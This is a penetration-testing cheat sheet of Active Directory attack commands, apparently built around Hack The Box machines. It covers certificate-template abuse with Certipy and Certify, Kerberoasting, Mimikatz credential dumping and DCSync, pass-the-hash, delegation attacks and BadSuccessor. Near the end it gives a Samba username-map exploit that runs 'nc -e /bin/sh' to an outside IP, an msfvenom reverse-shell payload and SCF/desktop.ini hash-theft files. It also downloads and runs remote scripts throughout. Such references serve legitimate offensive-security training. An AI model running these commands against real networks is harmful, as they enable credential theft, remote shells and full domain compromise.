## ------------------| Linux with Certipy-AD## Enumerate vulnerable certificate templates to identify potential ESC4 misconfigurationscertipy-ad find -u <USER> -p <PASS> -dc-ip <IP> -stdout -vuln## Modify a vulnerable template to enable ESC4 exploitation (allow enrollment with risky settings)certipy-ad template -u <USER>@<DOMAIN> -p <PASS> -template <VulnTemplateName> -write-default-configuration -dc-ip <IP>## Re-check if the template is now ESC1 (ClientAuth + SAN enabled)certipy-ad find -u <USER> -p <PASS> -dc-ip <IP> -stdout -vuln## Request a certificate for a high-privileged account (Administrator) using the modified templatecertipy-ad req -u <USER>@<DOMAIN> -hashes <HASH> -ca <CA_NAME> -template <VulnTemplateName> -upn administrator@<DOMAIN> -target <DC_SERVER_DOMAIN> -target-ip <IP>## Authenticate using the generated certificate to obtain a TGTcertipy auth -pfx administrator.pfx -domain <DOMAIN> -dc-ip <IP>## Connect to the target using the stolen credentialsevil-winrm -i <IP> -u Administrator -H <HASH>
## ------------------| PowerShell with Certify.exe## Enumerate vulnerable certificate templates to identify potential ESC4 misconfigurationsCertify.exe find /vulnerable /domain:<DOMAIN> /username:<USER> /password:<PASS> /dc:<IP>## Modify a vulnerable template (requires AD CS write permissions; may need PowerView or similar for template modification)## Note: Certify.exe doesn't directly support template modification, so use Set-DomainObject (from PowerView) to enable risky settingsSet-DomainObject -Identity <VulnTemplateName> -SET @{mspki-certificate-name-flag='ENROLLEE_SUPPLIES_SUBJECT';mspki-enrollment-flag='0'} -Credential $cred## Re-check for vulnerabilities to confirm ESC4 conditions are metCertify.exe find /vulnerable /domain:<DOMAIN> /username:<USER> /password:<PASS> /dc:<IP>## Request a certificate for a high-privileged account (Administrator) using the modified templateCertify.exe request /ca:<CA_NAME> /template:<VulnTemplateName> /altname:administrators@<DOMAIN> /domain:<DOMAIN> /username:<USER> /password:<PASS>## Convert the certificate to PFX for authentication (use certutil or similar)certutil -MergePFX <certificate_file>.cer administrator.pfx## Authenticate using the certificate to obtain a TGT (use Rubeus or similar)Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:<DOMAIN>## Connect to the target using the stolen credentials (e.g., via PSRemoting or evil-winrm)evil-winrm -i <IP> -u Administrator -H <HASH>04 PowerMAD
## ------------------| Add fake machinewget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1Import-Module Powermad.ps1New-MachineAccount -MachineAccount <FakeComputerName> -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose05 Impacket’s Collection
05.1 getPac
### Retrieves the Ticket Granting Ticket (TGT) from the Kerberos authentication system## ------------------| Get Domain SIDimpacket-getPac -targetUser Administrator <DOMAIN>/<USER>:<PASS>05.2 getTGT
### A tool to dump and parse the PAC (Privilege Attribute Certificate) in### Kerberos tickets, used in Kerberos-related attacks like Silver Ticket attacks.
## ------------------|impacket-getTGT <DOMAIN>/<USER>:<PASS>export KRB5CCNAME=<USER>.ccacheklist05.3 GetADUsers
### Used to query and enumerate AD users from a target domain using LDAP
## ------------------| Basicimpacket-GetADUsers -all -dc-ip <IP> <DOMAIN>/<USER>impacket-GetADUsers -all -dc-ip <IP> <DOMAIN>/<USER>:<PASS>impacket-GetADUsers -all -dc-ip <IP> <DOMAIN>/<USER> -hashes <LM:NT>05.4 GetUserSPNs
## ------------------| Purpose -> Kerberoasting#### Enumerates AD accounts with Service Principal Names (SPNs) in an AD environment.#### Extracts Kerberos service tickets (TGS) for accounts with SPNs.#### Useful for performing Kerberoasting, which cracks service account passwords offline.
## ------------------| Basicimpacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<USER> -no-passimpacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<USER>:<PASS>
## ------------------| Requesting TGS Tickets for Kerberoastingimpacket-GetUserSPNs -request -dc-ip <IP> <DOMAIN>/<USER> -no-passimpacket-GetUserSPNs -request -dc-ip <IP> <DOMAIN>/<USER>:<PASS>impacket-GetUserSPNs -request -dc-ip <IP> <DOMAIN>/<USER> -hashes <LM:NT>
## ------------------| Use Kerberos authentication. Grabs credentials from ccache fileimpacket-GetUserSPNs -request -k -no-pass -dc-host dc1.scrm.local <DOMAIN>/<USER>05.5 GetNPUsers
## ------------------| Purpose -> ASREPRoasting#### Detects AD user accounts with the "Do not require Kerberos preauthentication" setting enabled.#### Obtains encrypted TGTs for these accounts without requiring their passwords.
## ------------------| Check Kerberos pre-authentication disabled?impacket-GetNPUsers -dc-ip <IP> <DOMAIN>/<USER> -no-passimpacket-GetNPUsers -dc-ip <IP> -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt <DOMAIN>/
## ------------------| Requesting TGTsimpacket-GetNPUsers -dc-ip <IP> -request '<DOMAIN>/'impacket-GetNPUsers -dc-ip <IP> -request <DOMAIN>/<USER>:<PASS>impacket-GetNPUsers -dc-ip <IP> -request <DOMAIN>/<USER> -hashes <LM:NT>impacket-GetNPUsers -dc-ip <IP> -request <DOMAIN>/ -format hashcat05.6 RPCDump
impacket-rpcdump <IP>
## check if the spooler service is runningimpacket-rpcdump <IP> | grep -A2 -B2 MS-RPRN
#One potential service that could be leveraged to escalate privileges in the#domain is the Spooler service. This service allows triggering authentication as the#computer account of the host it's running on. This can then be relayed or cracked05.7 gMSADumper
gMSADumper.py is a Python script designed to read and parse Group Managed Service Account (gMSA) password blobs in Active Directory (AD). It identifies which users or groups have permissions to read these password blobs and extracts the current password if accessible
## ------------------| If it has ReadGMSAPasswordpython3 gMSADumper.py -u <USER> -p <password_or_LM:NT> -l <ldap_server_ip> -d <DOMAIN>
## ------------------| Can verify the hash using crackmapexccrackmapexec smb 10.10.10.248 -u svc_int$ -H b98d4cef68f72a98dfeed732d1b1abca
^^ If you have the hash; you can genarate a silver ticket.06 Evil-WinRm
## ------------------| Normal Usageevil-winrm -u UserName -p Password -i <IP>evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i <IP>
## ------------------| With SSL (port 5986)evil-winrm -S -i <IP> -c amanda.cer -k amanda.key -P 5986evil-winrm -S -i <IP> -c amanda.cer -k amanda.key -u amanda -P 5986
## If get message like "The term 'Invoke-Expression' is not recognized as the name of a cmdlet"## The the language is constrained in the remote computer. Try this!!!sudo apt-get install gss-ntlmssppwsh$pass = ConvertTo-SecureString '<PASS>' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<ACCOUNT_NAME>', $pass)Enter-PSSession --ComputerName <IP> -credential $cred -Authentication Negotiate07 PsExec
## ------------------| Enable access to $ADMIN C$, IP$ (Windows Administrative Shares)REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
## ------------------| If we have R&W on SMB sharesimpacket-psexec HTB/James:'J@m3s_P@ssW0rd!'@<IP>
## ------------------| If you have NTML Hash [PassTheHash]impacket-psexec Administrator@<IP> -hashes <HASH>:<HASH>08 Mimikatz
A tool for extracting plaintext credentials, hashes, and Kerberos tickets from memory. It is often used for credential dumping and escalating privileges.
- Most Popular Mimikatz Commands [source : adsecurity.org]
CRYPTO::Certificates # list/export certificatesKERBEROS::Golden # create golden/silver/trust ticketsKERBEROS::List # List all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.KERBEROS::PTT # pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).LSADUMP::DCSync # ask a DC to synchronize an object (get password data for account). No need to run code on DC.LSADUMP::LSA # Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”LSADUMP::SAM # get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.LSADUMP::Trust # Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).MISC::AddSid # Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.MISC::MemSSP # Inject a malicious Windows SSP to log locally authenticated credentials.MISC::Skeleton # Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.PRIVILEGE::Debug # get debug rights (this or Local System rights is required for many Mimikatz commands).SEKURLSA::Ekeys # list Kerberos encryption keysSEKURLSA::Kerberos # List Kerberos credentials for all authenticated users (including services and computer account)SEKURLSA::Krbtgt # get Domain Kerberos service account (KRBTGT)password dataSEKURLSA::LogonPasswords #lists all available provider credentials. This usually shows recently logged on user and computer credentials.SEKURLSA::Pth # Pass- theHash and Over-Pass-the-HashSEKURLSA::Tickets # Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).TOKEN::List # list all tokens of the systemTOKEN::Elevate # impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the boxTOKEN::Elevate /domainadmin # impersonate a token with Domain Admin credentials.- Dump all user’s
ntlmhashes.
.\mimikatz.exe "token::elevate" "lsadump::sam" "exit" >> mimikatz-sam.out.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" >> mimikatz-lsa.out- Dump passwords using
lsass
## ------------------| Using Mimikatz.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> mimikatz-lsass.out
## ------------------| If you have lsass as Mini DuMP or Rekallpip3 install pypykatzpypykatz lsa minidump lsass.DMP --json- Export Kerberos tickets.
kerberos::list /export- Extract krbtgt Hash
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" "exit" >> mimikatz-krbtgt.out.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:krbtgt" "exit" >> mimikatz-krbtgt2.out- OverPassTheHash
## ------------------| Login as another userprivilege::debugsekurlsa::pth /user:[USER] /domain:[DOMAIN] /ntlm:[NTLM HASH] /run:"powershell -EncodedCommand SQBF..DFSS=="
## ------------------| Login to Domain Controller machinenet use \\<DC>.\PsExec.exe -accepteula \\<DC> cmd.exe- Set password for account
.\mimikatz.exe "lsadump::setntlm /user:USERNAME /ntlm:NTLMHASH" "exit"09 RustHound-CE
## ------------------| Installsudo apt install cargocargo install rusthound-ce
## ------------------| Collectionrusthound-ce --domain '<DOMAIN>' -u '<USER>' -p '<PASS>' -z10 SharpHound
## ------------------| Load SharpHound.ps1## https://github.com/SpecterOps/SharpHound/releasesIEX(New-Object Net.WebClient).DownloadString('http://<IP>/SharpHound.ps1')Invoke-BloodHound -CollectionMethod All
## ------------------| Collect info.\SharpHound.exe -c All,GPOLocalGroup,LoggedOn.\SharpHound.exe -c All -d <DOMAIN>.\SharpHound.exe --CollectionMethods All,GPOLocalGroup,LoggedOn
## ------------------| Usage-c, --CollectionMethods ## Collection methods: # Default, All, DCOnly, Session, # LoggedOn, Group, ACL, GPOLocalGroup, # LocalGroup, ObjectProps, Trusts, RDP, # DCOM, Container-d, --Domain ## Specify AD domain to collect from (e.g., contoso.local)-s, --SearchForest ## Search all domains in the current forest--CollectionTimeout ## Timeout in seconds for each collection method.--Stealth ## Perform stealth collection, targets likely data-rich systems--MemoryCache ## Keep cache in memory instead of writing to disk.--ComputerFile ## Load file with computer names/IPs for collection--SearchBase ## Base DN to start search (e.g., OU=New York,DC=Contoso,DC=Local)--LdapFilter ## Collect data only from principals matching LDAP filter--OutputDirectory ## Set folder for output files (e.g., C:\temp)--OutputPrefix ## Prepend string to JSON/ZIP file names--ZipFileName ## Specify output ZIP filename--ZipPassword ## Password-protect the ZIP file--NoZip ## Skip zipping JSON files--PrettyJson ## Output indented JSON for readability--OverrideUserName ## Set username for runas /netonly authentication--CollectAllProperties ## Collect all string-valued LDAP properties--WindowsOnly ## Limit collection to Windows OS systems--Loop ## Loop computer-based collection (e.g., Session)--LoopDuration ## Looping duration in HH:MM:SS (default: 02:00:00)--LoopInterval ## Pause between loops in HH:MM:SS--DomainController ## Target specific domain controller by IP/name--LdapPort ## Set custom LDAP port (default: 0)--SecureLdap ## Use Secure LDAP (port 636)--DisableCertVerification ## Skip Secure LDAP cert verification--DisableSigning ## Disable Kerberos signing/sealing--SkipPortCheck ## Skip port 445 checks--PortCheckTimeout ## Port check timeout in milliseconds (default: 500)--SkipPasswordCheck ## Skip PwdLastSet age check for computers--ExcludeDCs ## Exclude domain controllers from enumeration--Throttle ## Add delay after computer requests (ms)--Jitter ## Add percentage jitter to throttle--Threads ## Set number of threads (default: 50)--SkipRegistryLoggedOn ## Skip registry-based session enumeration--LocalAdminSessionEnum ## Use dedicated local user for session enum--LocalAdminUsername ## Username for local admin session enum--LocalAdminPassword ## Password for local admin session enum--CacheFileName ## Set cache filename (default: .bin)--MemCache ## Keep cache in memory, skip disk write--NoSaveCache ## Don’t save cache to disk--InvalidateCache ## Rebuild cache file--DisableAdminCheck ## Skip checking if users are local admins.--DisableLastLogon ## Skip collecting lastLogonTimestamp.--SkipComputerLookup ## Skip DNS resolution of computer names.--SkipPortScan ## Skip port scan checks during Session/LoggedOn collection.--RandomFileName ## Randomize the output ZIP file name.--CustomConfig ## Path to a custom config JSON file.--CollectionConfig ## Path to a JSON file defining advanced collection config11 BloodHound
## ------------------| Install./bloodhound-cli install
## ------------------| Reset Pass./bloodhound-cli resetpwd- BloodHound-Python
## ------------------| Install via pippip3 install bloodhoundbloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -ns <IP> --dns-tcp -c All --zip
## ------------------| Installgit clone https://github.com/dirkjanm/BloodHound.py.git && cd BloodHoundpython3 bloodhound.py -d <DOMAIN> -u <USER> -p '<PASS>' -gc <DOMAIN> -c all -ns <IP> --zip --dns-timeout 30
## ------------------| Usage-u Username. Format: username[@domain]; If the domain is unspecified, the current domain is used.-p Password-k Use kerberos--hashes LM:NLTM hashes-ns Alternative name server to use for queries--dns-tcp Use TCP instead of UDP for DNS queries--dns-timeout DNS query timeout in seconds (default: 3)-d Domain to query.-dc Override which DC to query (hostname)-gc Override which GC to query (hostname)-w Number of workers for computer enumeration (default: 10)-v Enable verbose output- BloodHound & neo4j raw queries. [source]
## ------------------| List all usersMATCH (u:User) return uMATCH (u:User) return u LIMIT 10
## ------------------| List users with propertiesMATCH (u:User) WHERE u.name CONTAINS "ADMIN" return u.name, u.displayname, u.description
## ------------------| List computers which enable LAPSMATCH (c:Computer) RETURN c.haslaps, COUNT(*)12 Certipy
## ------------------| Check if the ADCS is installed and running(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc").ImagePath -like "*certsrv.exe"
## ------------------| Install via Gitgit clone https://github.com/ly4k/Certipy.git && cd Certipypython3 -m venv certipy-venvsource certipy-venv/bin/activatepip install certipy-ad
## ------------------| Check Vulnerabilitiescertipy find -u <USER> -p <PASS> -dc-ip <IP> -vulnerable
## ------------------| Install via APTpip install certipy-adsudo apt-get install python3-certipy
## ------------------| Misc--target ## IP or FQDN of domain controller.--dc ## Specific domain controller to contact.--template ## Certificate template to use.--ca ## Certificate Authority name.--alt ## Alternative name (e.g., alt UPN or DNS).--pfx ## Use PFX certificate file.--ptt ## Inject TGT into current session (Pass-the-Ticket).--save-pfx ## Save PFX file when requesting a certificate.
## ------------------| Enumerationcertipy-ad find -u <USER> -p <PASS> -target <IP> -stdout ## Enumerate ADCS templates and misconfigurations.certipy-ad find -u <USER> -p <PASS> -target <IP> -vuln -stdout ## Enumerate vulnarable ADCS templates.
## ------------------| Request Certificatecertipy-ad req -u <USER> -p <PASS> -ca <ca_name> -template <template> ## Request a certificate using specified template.certipy-ad req -u <USER> -p <PASS> -target <IP> -template <template> --alt <ALT> ## Request with alt name (e.g., alt UPN).certipy-ad req -u <USER> -p <PASS> -ca <ca_name> -template <template> -upn <UPN> -dc <IP> ## Custom UPN for impersonation.
## ------------------| Authenticate using Certificatecertipy-ad auth -pfx <user.pfx> ## Authenticate to AD using PFX cert.certipy-ad auth -pfx <user.pfx> -dc <IP> ## Authenticate with domain controller specified.certipy-ad auth -pfx <user.pfx> -username <USER> ## Authenticate with cert while specifying username.
## ------------------| PKINIT TGT Requestcertipy-ad req -u <USER> -p <PASS> -ca <ca> -template <template> -dc <IP> --save-pfx ## Save cert to PFX for PKINIT.certipy-ad auth -pfx <user.pfx> --ptt ## Inject TGT (Pass-the-Ticket).
## ------------------| Dump and Convertcertipy-ad cert -pfx <user.pfx> -output <output_folder> ## Extract and convert certificate data.certipy-ad cert -file <cert.cer> ## Analyze a standalone certificate file.
## ------------------| Auto Exploit (ESC1 - ESC8)certipy-ad auto -u <USER> -p <PASS> -target <IP> ## Automatically exploit vulnerable ADCS paths.13 Krbrelayx
## ------------------| Add DNS Recordpython3 dnstool.py -u 'intelligence\tiffany.molina' -p <PASS> -r h4rithd -a add -t A -d <LHOST> <IP>
#### -u intelligence\Tiffany.Molina - The user to authenticate as;#### -p <PASS> - The user’s password;#### --action add - Adding a new record;#### --record h4rithd - The domain to add;#### --data <LHOST> - The data to add, in this case, the IP to resolve h4rithd to;#### --type A - The type of record to add.
## ------------------| Check if it successnslookup> server <IP>> h4rithd.intelligence.htb## If it display my ip; we are good!!##14 Covenant
## The SharpUp command can be used to run privilege escalation checkssharpup audit
## The shellcmd grunt command is used to issue shell commandsshellcmd whoami
## Import PowerShell scriptPowerShellImport // PowerView.ps1
## Execute powershell scriptPowerShell Get-DomainComputer | Select name
## kerberoast the users, MakeToken before run this commandRubeus kerberoastKerberoast <USER> hashcat
## impersonate (login to user) users using the MakeToken commandMakeToken username domainname password LOGON32_LOGON_INTERACTIVE
## DCSyncDCSync Administrator15 Other Commands
- Mount shares to linux machine
## ------------------| Setupsudo apt-get install cifs-utilssudo mkdir /mnt/sharessudo chmod 777 /mnt/shares
## ------------------| Mount sharessudo mount -t cifs //<IP>/Users /mnt/sharessudo mount -t cifs -o 'username=L.Frost,password=welcome2019' //<IP>/Users /mnt/shares
## ------------------| Mount Options-o 'username=L.Frost,password=welcome2019'-o 'vers=2.0' ## can be change to vers=1.0 and vers=3.0-o 'dir_mode=0755,file_mode=0755'
## ------------------| Usage of Thunarthunar smb://<IP>/- Mounting VHD file on Kali Linux through remote share
apt-get install libguestfs-toolsapt-get install cifs-utils
guestmount --add /mnt/remote/path/to/vhdfile.vhd --inspector --ro /mnt/vhd -v- Get Deleted items from AD
Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=Local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *16 Other Exploits
BadSuccessor
## ------------------| Initial Setupwget https://raw.githubusercontent.com/b5null/Invoke-BadSuccessor.ps1/refs/heads/main/Invoke-BadSuccessor.ps1wget https://github.com/h4rithd/PrecompiledBinaries/raw/refs/heads/main/Rubeus/Rubeus.exeImport-Module .\Invoke-BadSuccessor.ps1Invoke-BadSuccessor.\Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb.\Rubeus.exe asktgt /user:Pwn$ /aes256:<aes256_cts_hmac_sha1> /domain:eighteen.htb /nowrap.\Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<base64(ticket.kirbi)>klist
## ------------------| Local## This methord will not work if you are in Evil-WinRM session.## When you connect to a machine using Evil-WinRM, Windows authenticates you using a Network Logon (Logon Type 3).## By design, Windows security strictly forbids a Network Logon session from delegating credentials to a secondary network resource.msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4545 -f exe > h4rithd.exe.\Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /ticket:<base64(ticket.kirbi)> /ptt /createnetonly:"C:\programdata\h4rithd\h4rithd.exe"
## ------------------| Remote### set the time first[DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")sudo date -u -s '2026-01-21 21:40:36'### Download the ticket.kirbi file in to kaliimpacket-ticketConverter ticket.kirbi attacker.ccacheexport KRB5CCNAME=$(pwd)/attacker.ccache### Update the /etc/hosts file before throw following commandimpacket-psexec 'eighteen.htb/attacker_dMSA$'@$DC01.eighteen.htb$ -k -no-passADCS ESC16
## ------------------| Vuln?certipy find -u '<USER>' -p '<PASS>' -dc-ip <IP> -vulnerable### ESC16 : Security Extension is disabled.
## ------------------| Exploitcertipy account -dc-ip <IP> -u '<USER>' -p '<PASS>' -user 'ca_svc' read#### Check currentPrincipalName is equal to ca_svccertipy account -u '<USER>' -p '<PASS>' -dc-ip <IP> -user 'ca_svc' -upn administrator updatecertipy req -u 'ca_svc' -p '<PASS>' -dc-ip <IP> -ca FLUFFY-DC01-CA -template User -upn administratorcertipy account -u '<USER>' -p '<PASS>' -dc-ip <IP> -user 'ca_svc' -upn ca_svc updatecertipy auth -dc-ip <IP> -pfx administrator.pfx -username administrator -domain fluffy.htbUnconstrained Delegation + The PrinterBug = DCSync
## ------------------| Reconnaissance## Upload following files to compromised machine.wget https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1wget https://github.com/samratashok/ADModule/raw/master/Microsoft.ActiveDirectory.Management.dll. .\Import-ActiveDirectory.ps1Import-ActiveDirectory -ActiveDirectoryModule C:\Full\Path\Microsoft.ActiveDirectory.Management.dllGet-ADComputer -Filter {TrustedForDelegation -eq $True}
## ------------------| Exploitation Printer Bugwget https://raw.githubusercontent.com/h4rithd/PrecompiledBinaries/main/Rubeus/Rubeus.exewget https://raw.githubusercontent.com/h4rithd/PrecompiledBinaries/main/SpoolSample/MS-RPRN.exe
./Rubeus.exe monitor /interval:5 /nowrap ## Terminal 01 (shell 01)./MS-RPRN.exe DC01 DC02 ## Terminal 02 (shell 02) [need nt authority\system]
## DC01 is the domain controller we want to compromise.## DC02 is the machine with delegation enabled that we control.tasklist /SVC | findstr Rubeus.exetaskkill /F /PID <PID>
## ------------------| Get TGT## [need nt authority\system]./Rubeus.exe ptt /ticket:doIFyDCCBcSgAw.....sdoIFyDC==./Rubeus.exe klist
## ------------------| DCSync./mimikatz.exe "lsadump::dcsync" "/user:<USER>\krbtgt" "exit"Resource Based Constrained Delegation [Domain Escalation]
## ------------------| Identify the vulnarability### If you have GenericAll/GenericWrite/Write on a Computer object, you are welcome!!### Check if the value is 10?Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select ms-ds-machineaccountquota### Check if the os is greater than or equal to Windows 2012Get-DomainController | select OSVersion
## ------------------| Exploit [PART I]Import-Module ./Powermad.ps1### Create new fake computer object inside the domainNew-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -VerboseGet-DomainComputer FAKEMACHINE### Using AD PowerShell module, give the new fake computer object the Constrained Delegation privilege.Set-ADComputer <TargetComputer> -PrincipalsAllowedToDelegateToAccount FAKEMACHINE$Get-ADComputer <TargetComputer> -Properties PrincipalsAllowedToDelegateToAccount
## ------------------| Exploit [PART II]### Performing a complete S4U attack.\Rubeus.exe hash /password:123456 /user:FAKEMACHINE$ /domain:domain.local### Note-down the aes256_cts_hmac_sha1 hash
## ------------------| Exploit [PART III]### generate a ccached TGT and used KERB5CCNAME pass the ccahe file for the requested service.impacket-getST domain.local/FAKEMACHINE -dc-ip <IP> -impersonate administrator -spn http/victim.domain.local -aesKey <AES_KEY>export KRB5CCNAME=administrator.ccache### We must set /etc/hosts file to map the domain name & hostname to the victim’s IP address- File Attacks [
if you can write anything]
## ------------------| Automatedgit clone https://github.com/Greenwolf/ntlm_theft.git && cd ntlm_theftpython3 ntlm_theft.py -g all -s <IP> -f h4rithd## this will genarate all file formats including desktop.ini
## ------------------| Create payload for SCF File Attack > stealhash.scf[Shell]Command=2IconFile=\\<YourP>\share\h4rithd.ico[Taskbar]Command=ToggleDesktop
## ------------------| Create payload for Desktop.ini File Attack[.ShellClassInfo]IconResource=\\<YourP>\aa
## ------------------| Start respondersudo responder -I tun0# Then copy the scf file to users desktop or anywhere.- If you get
STATUS_PASSWORD_MUST_CHANGE; Reset SMB Password
## ------------------| If you are from linux envsmbpasswd -U <USER> -r <IP>smbpasswd -U <DOMAIN>/<USER> -r <IP>
## ------------------| If you are from Windows env (Powershell)$username = 'phinchley'$dc = 'dc.lab.hinchley.net'
$old = 'Passw0rd1#'$new = 'Something!'
$code = @'[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword);'@
$NetApi32 = Add-Type -MemberDefinition $code -Name 'NetApi32' -Namespace 'Win32' -PassThru
if ($result = $NetApi32::NetUserChangePassword($dc, $username, $old, $new)) { write-host 'Password change failed.'} else { write-host 'Password change successful.'}- Knock and Pass: Kerberos Exploitation
- Samba 3.0.20 < 3.0.25rc3 - ‘Username’ map script (CVE 2007-2447)
crackmapexec smb --shares <IP> -u './=`nohup nc -e /bin/sh 10.10.14.17 4545`' -p ''- SambaCry | CVE-2017-7494 | 3.5.0 and 3.6.0
## ------------------| Setupgit clone https://github.com/opsxcq/exploit-CVE-2017-7494 && exploit-CVE-2017-7494sudo pip install virtualenvvirtualenv -p python2 venvsource venv/bin/activatepip2 install impacket
## ------------------| Expolitpython ./exploit.py -t <IP> -e libbindshell-samba.so -s SusieShare -r /SusieShare/libbindshell-samba.so -u admin -p '' -P 6699